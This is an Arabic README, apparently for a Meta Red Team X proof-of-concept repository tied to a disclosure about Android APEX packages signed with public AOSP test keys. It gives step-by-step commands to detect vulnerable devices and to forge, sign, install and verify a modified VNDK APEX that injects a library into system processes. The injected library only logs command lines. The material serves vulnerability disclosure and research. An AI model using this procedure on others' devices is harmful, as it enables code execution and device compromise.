
كود إثبات المفهوم لثغرة إعادة استخدام مفتاح APEX في أندرويد
يتم توفير هذا المستودع كما هو لمرافقة إفصاح عن ثغرة أمنية من Meta Red Team X. إنه ليس مشروعًا رسميًا من Meta ولن يتم دعمه كمشروع رسمي.
مجموعة من البرامج النصية والقطع الأثرية التي توضح اكتشاف واستغلال أجهزة Android التي تشحن APEXes موقعة بمفاتيح اختبار من AOSP. راجع منشور مدونتنا "علامات مفقودة: كيف نسيت عدة علامات تجارية تأمين قطعة رئيسية من Android" للحصول على التفاصيل الكاملة للمشكلة.
apex-checker/: مجموعة من البرامج النصية Bash لحفظ ملخصات مفاتيح الاختبار المعروفة وفحص APEXes بشكل جماعي بحثًا عن توقيعات من تلك المفاتيح.apex-forger/: أغلفة خفيفة حول أدوات apexer و deapexer من AOSP التي تسهل فك وتعديل وإعادة تعبئة APEX. مثل apktool لـ APEXes.vndk-libt/: كود مصدر لمكتبة أضفناها إلى APEX ضعيف لإثبات قدرتنا على تنفيذ الأوامر. كل ما تفعله هو طباعة سطر الأوامر لكل عملية تقوم بتحميلها إلى logcat.m apexer deapexer apksigner لبناء الأدوات المطلوبة.envsetup.sh (الموجود هنا، وليس الموجود في AOSP) لتوجيه $AOSP و $ANDROID_HOST_OUT إلى الأماكن المناسبة.adb shell getprop ro.build.version.sdk و adb shell getprop ro.vndk.version.adb pull /system/apex/com.android.vndk.current.apex vndk.apex. إذا لم يتطابقا، adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex، حيث <NN> هو ro.vndk.version.apex-checker/check.sh vndk.apex. إذا كان الإخراج لا يبدأ بـ "OI" (مما يشير إلى أن كلا التوقيعين الخارجي والداخلي من مفاتيح اختبار)، فلا يمكن استخدام هذا الإثبات (على الرغم من أن ذلك لا يضمن أن الجهاز آمن، حيث قد تظل APEXes أخرى ضعيفة).تتوافق التجزئات في apex-checker/apk-keys.txt و apex-checker/avb-keys.txt مع مفاتيح الاختبار الخارجية والداخلية لـ APEXes التالية. لاحظ أن هناك أيضًا متغيرات -goog من هاتين القائمتين، والتي تم إنشاؤها بواسطة Google بعد تقريرنا الأولي. تلك القوائم بشكل عام أكثر اكتمالاً، لكننا لا نعرف بالضبط المفاتيح التي تحتويها.
apex-forger/unpack.sh vndk.apex vndk.libutils.so في APEX المستخرج لتحميل libt.so المحقون: git apply --directory=vndk vndk-libt/libutils-v31.patch. إذا لم ينجح ذلك (مثل إصدار VNDK مختلف)، استخدم محرر سداسي عشري لتغيير libc.so يدويًا إلى libt.so في DT_NEEDED المناسب لـ vndk/payload/lib64/libutils.so.libt.so بتشغيل ndk-build داخل vndk-libt/. انسخ vndk-libt/libs/arm64-v8a/libt.so إلى vndk/payload/lib64/libt.so.canned_fs_config من apex_build_info.bp. لا توجد أداة للقيام بذلك بسهولة: الأقرب هو protoc --decode_raw <vndk/apex_build_info.bp متبوعًا بفك ترميز الحقل رقم 3 يدويًا. ضع canned_fs_config في vndk/.canned_fs_config، مثل جميع الأسطر الأخرى، لـ /lib64/libt.so.apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem}.adb install vndk/forged.apex.adb reboot && adb logcat -s RTXPoC:D.RTXPoC، كل منها من عملية يمكننا تنفيذ أوامر فيها.